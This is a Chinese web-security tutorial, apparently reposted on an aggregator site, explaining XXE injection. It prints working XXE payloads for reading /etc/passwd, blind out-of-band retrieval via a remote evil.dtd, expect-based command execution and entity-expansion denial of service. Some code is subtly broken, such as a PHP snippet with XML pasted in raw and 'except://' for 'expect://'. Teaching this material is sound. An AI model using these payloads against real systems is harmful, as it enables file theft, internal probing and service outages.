网络安全进阶学习第二十一课——XXE

这篇具有很好参考价值的文章主要介绍了网络安全进阶学习第二十一课——XXE。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


一、XXE简介

XXE(XML External Entity,XML)外部实体注入攻击。


二、XXE原理

— — 攻击者通过构造恶意的外部实体,当解析器解析了包含“恶意”外部实体的XML类型文件时,便会导致被XXE攻击。XXE漏洞主要由于危险的外部实体引用并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等。
网络安全进阶学习第二十一课——XXE,web安全,web安全,学习
这里是不是很像XSS注入

— — 在解析XML文档的过程中,关键字’SYSTEM’会告诉XML解析器,entityex 实体的值将从其后的URI中读取。实体entityex的值会被替换为URI(file://etc/passwd)内容值。(如下图)
网络安全进阶学习第二十一课——XXE,web安全,web安全,学习

— — 因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。
— — 简单来说,攻击者强制XML解析器去访问攻击者指定的本地系统上或是远程系统上的资源内容。


三、XXE危害

  1. 导致可加载恶意外部文件、读取任意未授权文件;
  2. 恶意消耗内存进行dos攻击,
  3. 探测内网信息(如检测服务、内网端口扫描、攻击内网网站等)
  4. 命令执行,目录遍历等
  5. 有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

四、XXE如何寻找

1、POST请求
2、MIME 文件传输格式为 XML
3、请求头中 Content-type: application/xml text/xml application/json
网络安全进阶学习第二十一课——XXE,web安全,web安全,学习
4、带有非常明显的xml标签的,即自定义的标签
5、利用DNSLog来验证是否存在XXE
网络安全进阶学习第二十一课——XXE,web安全,web安全,学习
将数据包改一下:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE value [
<!ENTITY xxe SYSTEM "http://yu7bis.dnslog.cn" >
]>
<value>&xxe;</value>

ps:可以修改其Content-Type为application/xml,并尝试进行XXE注入

五、XXE限制条件

网站是否开启了外部实体解析

  • 因素一:
    libxml<2.9.0 版本 默认开启了外部实体解析

  • 因素二:
    网站管理员开启了外部实体解析

  • 低版本php
    libxml<2.9.1
    设置了libxml_disable_entity_loader(禁用加载外部实体的能力)为FALSE


六、XXE分类

XXE的攻击方式分为显式攻击盲攻击两种:

  • 显式攻击是攻击者能通过正常的回显将外部实体里的内容读取出来。
  • 盲攻击即不可见的回显,可利用参数实体将本地文件内容读出来后,作为URL中的参数向其指定服务器发起请求,然后在其指定服务器的日志中读出文件的内容。

现实中存在的大多数XXE漏洞都是blind,必须采用带外通道OOB(Out-of-band)进行返回信息的记录,这里简单来说就是攻击者必须有一台具有公网ip的主机。


七、XXE利用

1、读取任意文件

1.1、有回显

下面是XML.php内容:

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY[
	<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

访问XML.php可以读取etc/passwd文件内容

1.2、没有回显

当页面没有回显的话,可以将文件内容发送到远程服务器,然后读取。

下面是XML.php内容:

<?php
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
	<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
	%f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);
?>

下面是evil.dtd内容:

<!ENTITY b SYSTEM "file:///etc/passwd">

2、命令执行(情况相对较少见)

php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装(正常人谁会去安装这东西啊,所以命令执行的情况相对较少见)
下面是XML.php内容:

<?php
$xml = <<<EOF
<? xml version = "1.0" ?>
<!DOCTYPE ANY[
	<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

3、内网探测/SSRF

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

4、拒绝服务攻击(DDoS)

通过创建一项递归的XML定义,在内存中生成十亿个“Ha! ”字符串,从而导致 DDos 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。

4.1、内部实体

攻击代码如下:

<!DOCTYPE data [
<!ENTITY a0 "dos">
	<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;" >
	<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
	<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;" >
	<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;" >
]>
<data>&a4;</data>

上面代码相当于有1+10+10*10+10*10*10+10*10*10*10=11111个实体引用,这里文件大小只有30kb,却超出了合法的实体引用数量上限。

4.2、参数实体

攻击代码如下:

<!DOCTYPE data SYSTEM "http://127.0.0.1/dos.dtd" [
	<!ELEMENT data (#PCDATA)>
]>
<data>&g;</data>

http://127.0.0.1/dos.dtd文件的内容:

<!ENTITY a0 "dos">
	<!ENTITY % a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;" >
	<!ENTITY % a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
	<!ENTITY % a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;" >
	<!ENTITY % a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;" >
<!ENTITY g "%a4;">

八、绕过基本XXE攻击的限制

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
	<!ELEMENT data (#ANY)>
	<!ENTITY % start "<![CDATA[">
	<!ENTITY % goodies SYSTEM "file:///sys/power/image_size">
	<!ENTITY % end "]]>">
	<!ENTITY % dtd SYSTEM "http://publicServer.com/parameterEntity_core.dtd">
	%dtd;
]>
<data>&all;</data>

文件http://publicServer.com/parameterEntity_core.dtd的内容:

<!ENTITY all '%start;%goodies;%end;'>

这里是把XML语句拆成3个参数来绕过


九、关联链接

1、XML介绍

XML介绍

2、靶场演示

靶场演示文章来源地址https://www.toymoban.com/news/detail-741455.html


到了这里,关于网络安全进阶学习第二十一课——XXE的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 第二十一章网络通信

    网络程序设计基础 局域网与互联网 为了实现两台计算机的通信,必须用一个网络线路连接两台计算机。如下图所示  网络协议 1.IP协议 IP是Internet Protocol的简称,是一种网络协议。Internet 网络采用的协议是TCP/IP协议,其全称是Transmission Control Protocol/Internet Protocol。Internet 依靠

    2024年02月05日
    浏览(35)
  • 网络安全进阶学习第八课——信息收集

    信息收集(Information Gathering)信息收集是指通过各种方式获取所需要的信息。渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。 目标资产信息搜集的程度,决定渗透过程的复杂程度。 目标主机信息搜集的深度,决定后渗透权限持续把控。 收集信

    2024年02月13日
    浏览(46)
  • 网络安全进阶学习第七课——文件包含漏洞

    开发人员通常会把可重复使用的函数写到单个文件中,在 使用某些函数 时, 直接调用此文件 ,而无需再次编写,这种调用文件的过程一般被称为包含。 为了使代码更加灵活,通常会将被包含的文件设置为 变量 ,用来进行动态调用,但正是由于这种灵活性,从而导致客户端

    2024年02月15日
    浏览(50)
  • 网络安全进阶学习第五课——文件上传漏洞

    大部分的网站和应用系统都有上传功能,如用户头像上传,图片上传,文档上传等。 由于对上传文件 未作过滤 或 过滤机制不严(文件后缀或类型) ,导致恶意用户可以上传 脚本文件 ,通过上传文件可以达到控制网站权限的目的。 攻击者可获得网站控制权限; 查看、修改

    2024年02月06日
    浏览(34)
  • 网络安全进阶学习第十四课——MSSQL注入

    强类型数据库,会把数字和字符严格区分的。 有四个默认的数据库: 1、master (重点) 保存着SQL Server实例的配置、权限、数据库定义和其他需要的信息。 2、model 模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本数据库,并

    2024年02月14日
    浏览(48)
  • 网络安全进阶学习第十课——MySQL手工注入

    重点库: information_schema PHP的网站,常用数据库为MYSQL、PostgreSQL 判断数据库类型: MYSQL:3306 PostgreSQL:5432 MSSQL:1433 使用场景:数据库在页面中存在显示位。 UNION操作符 用于连接两个以上的SELECT语句的结果组合到一个结果集合中。前提是两个select必有 相同列 。 1)首先判断

    2024年02月10日
    浏览(45)
  • 网络安全进阶学习第九课——SQL注入介绍

    将 不受信任 的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在 没有适当授权 的情况下执行非预期命令或访问数据。 注入能导致 数据丢失、破坏 或 泄露给无授权方 ,缺乏可审

    2024年02月14日
    浏览(42)
  • 网络安全进阶学习第六课——服务器解析漏洞

    解析漏洞主要是一些特殊文件被Apache、IIS、Nginx等Web服务器在某种情况下解释成脚本文件格式并得以执行而产生的漏洞 影响范围:2.4.0~2.4.29版本 此漏洞形成的根本原因,在于 , 正则表达式中 , 正则表达式中 , 正则表达式中 不仅匹配字符串结尾位置,也可以匹配n 或 r ,在解

    2024年02月12日
    浏览(49)
  • 网络安全进阶学习第三课——CSRF跨站请求伪造

    会话跟踪是Web程序中常用的技术,用来跟踪用户的整个会话。常用的会话跟踪技术是Cookie与Session。 Cookie是一个保存在客户机中的简单的文本文件,当我们使用自己的电脑,通过浏览器进行访问网页的时候,服务器就会生成一个证书然后返回给浏览器并写入我们的本地电脑,这

    2024年02月12日
    浏览(44)
  • 网络安全进阶学习第十五课——Oracle SQL注入

    Oracle数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。 Oracle服务默认端口:1521 Oracle和MySQL数据库语法大致相同,结构不太相同。 最大的一

    2024年02月11日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包